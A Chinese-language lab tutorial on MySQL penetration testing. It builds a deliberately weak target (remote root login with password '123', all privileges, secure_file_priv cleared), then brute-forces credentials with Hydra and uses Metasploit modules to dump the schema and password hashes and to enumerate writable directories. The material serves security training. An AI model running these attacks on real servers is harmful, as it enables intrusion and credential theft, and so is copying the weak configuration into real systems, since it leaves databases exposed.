MySQL渗透测试全面解析
MySQL数据库的渗透测试全流程,包括实验环境搭建、暴力破解MySQL凭证、使用Metasploit进行利用、配置自定义端口等步骤。文章从MySQL的安装和配置开始,逐步介绍了如何通过nmap工具扫描MySQL服务状态,修改MySQL配置以允许远程连接,创建具有所有权限的用户,以及如何使用Hydra工具进行密码破解。接着,文章展示了如何利用Metasploit框架中的辅助工具来执行SQL查询、转储数据库模式、获取用户名和密码哈希值、检查可写文件和目录、枚举MySQL服务器。最后,文章还介绍了如何修改MySQL的默认端口以增加安全性。
摘要
MySQL,作为一款开源的关系数据库管理系统(RDBMS),在结构化数据管理与组织方面发挥着举足轻重的作用。它通过表格形式存储数据,并广泛采用客户端-服务器架构,在网络环境中实现高效的数据管理。在此架构下,MySQL服务器负责数据库的管理与维护,而客户端应用程序则通过连接到服务器,执行诸如查询、更新数据等任务。值得注意的是,MySQL客户端与服务器之间的通信是基于TCP/IP协议进行的,且默认监听3306端口。
实验环境搭建
本次实验的环境配置如下:
- 目标机器:Ubuntu(IP地址为192.168.31.205)
- 攻击机器:Kali Linux(IP地址为192.168.31.141)
在Ubuntu机器上,我们通过以下命令安装了MySQL服务:
apt install mysql-server
随后,我们使用netstat -tlnp
命令检查MySQL服务器是否已成功启动并运行:
netstat -tlnp
从输出结果中,我们可以清晰地看到MySQL服务器已在3306端口上启动并运行。
接下来,我们在Kali Linux上使用nmap工具对目标IP的3306端口进行扫描,以确认其状态。执行以下命令:
nmap -p3306 -sV 192.168.31.205
然而,扫描结果显示MySQL服务的3306端口处于关闭状态。这是由于MySQL服务器默认配置为仅监听本地回环地址127.0.0.1。为了使其能够接受远程连接,我们需要修改这一配置。在Ubuntu机器上,通过以下命令编辑mysqld.cnf文件:
nano /etc/mysql/mysql.conf.d/mysqld.cnf
在文件中,我们注释掉了bind-address=127.0.0.1这一行,以允许MySQL服务监听所有网络接口。
再次使用nmap工具扫描目标IP,我们发现3306端口现已处于开放状态。
nmap -p3306 -sV 192.168.31.205
但此时,我们仍无法从远程机器上连接到MySQL服务。为了解决这个问题,我们需要在MySQL数据库中执行以下命令:
mysql -uroot
CREATE USER 'root'@'%' IDENTIFIED BY '123';
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%';
FLUSH PRIVILEGES;
首先,我们以root用户身份登录MySQL服务器。然后,我们创建了一个名为root的新用户,该用户可以从任何主机进行连接,并为其设置了密码123。接着,我们授予该用户对所有数据库和表的所有权限。最后,我们重新加载了权限表,以确保更改立即生效。
现在,我们可以在Kali Linux上通过以下命令检查是否能够远程登录到MySQL服务器:
mysql -h 192.168.31.205 -uroot -p
成功远程连接到MySQL数据库后,我们便可以开始对其进行渗透测试。
暴力破解MySQL凭证
在Kali Linux中,我们可以利用Hydra工具对用户名和密码列表进行暴力破解,以获取MySQL的登录凭证。这里,我们使用用户名列表users.txt和密码列表pass.txt。执行以下命令进行暴力破解:
hydra -L users.txt -P pass.txt 192.168.31.205 mysql
使用Metasploit进行利用
Metasploit提供了许多与MySQL服务器相关的漏洞利用和辅助工具。我们可以利用这些工具对MySQL服务器进行进一步的攻击。
首先,我们使用auxiliary/admin/mysql/mysql_sql模块在连接数据库后直接运行SQL查询。执行以下命令:
msfconsole -q
use auxiliary/admin/mysql/mysql_sql
set rhosts 192.168.31.205
set username root
set password 123
set sql show databases
run
接着,我们使用auxiliary/scanner/mysql/mysql_schemadump模块来转储整个数据库模式。只需提供连接数据库的用户名和密码即可。执行以下命令:
use auxiliary/scanner/mysql/mysql_schemadump
set rhosts 192.168.31.205
set username root
set password 123
run
为了获取用户名和密码哈希值,我们可以使用auxiliary/scanner/mysql/mysql_hashdump模块。该模块会输出用户名和密码哈希值。执行以下命令:
use auxiliary/scanner/mysql/mysql_hashdump
set rhosts 192.168.31.205
set username root
set password 123
run
为了检查MySQL服务器端是否存在可写文件目录,我们可以使用auxiliary/scanner/mysql/mysql_writable_dirs模块进行识别。但默认情况下,这是不可能的。我们需要在MySQL配置文件中更改一个设置,然后才能枚举可写目录。
为此,我们编辑/etc/mysql/mysql.conf.d/mysqld.cnf文件,并在文件末尾添加secure_file_priv=""
。
现在,我们使用Metasploit检查可写目录:
use auxiliary/scanner/mysql/mysql_writable_dirs
set rhosts 192.168.31.205
set username root
set password 123
set dir_list dir.txt
run
从输出结果中,我们可以看到/tmp目录是可写的。
为了枚举文件和目录,我们可以使用auxiliary/scanner/mysql/mysql_file_enum模块。该模块会告诉我们目录或文件是否存在。
最后,为了全面枚举整个MySQL服务器,我们可以使用auxiliary/admin/mysql/mysql_enum模块。该模块会在使用有效凭据后,在MySQL服务器上执行全面的枚举操作。执行以下命令:
use auxiliary/admin/mysql/mysql_enum
set rhosts 192.168.31.205
set username root
set password 123
run
配置自定义端口
若要在MySQL中修改默认端口,我们需要编辑配置文件。该文件的路径为/etc/mysql/mysql.conf.d/mysqld.cnf。
nano etc/mysql/mysql.conf.d/mysqld.cnf
在文件中,我们可以看到默认端口为3306。我们可以将其修改为其他端口,例如4403,并删除该行前的注释符号(#)。
现在,如果我们使用nmap扫描目标IP,可以看到MySQL服务已在新端口上运行。